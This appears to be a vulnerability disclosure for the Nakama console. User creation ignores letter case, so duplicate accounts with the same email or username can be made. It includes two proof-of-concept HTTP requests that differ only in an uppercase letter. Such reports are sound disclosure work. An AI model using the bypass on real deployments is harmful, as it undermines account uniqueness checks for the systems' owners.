Description

Nakama console does not validate uppercase/lowercase letters when creating a new user. This can be abused to create multiple user accounts with same email and username.

Proof of Concept

HTTP Request #1

POST /v2/console/user HTTP/1.1
Host: 192.168.1.16:7351
Authorization: Bearer <token>
Cookie: <cookies>

{"username":"test","email":"test@example.com +","password":"Test1234","role":4,"newsletter_subscription":false}

HTTP Request #2

POST /v2/console/user HTTP/1.1
Host: 192.168.1.16:7351
Authorization: Bearer <token>
Cookie: <cookies>

{"username":"test","email":"test@Example.com +","password":"Test1234","role":4,"newsletter_subscription":false}

Notice that the character "E" is uppercase in the second request. This helps evade the same email checks. This trick applies to username as well.

Impact

Violation of Secure Design Principles and Business Logic Issues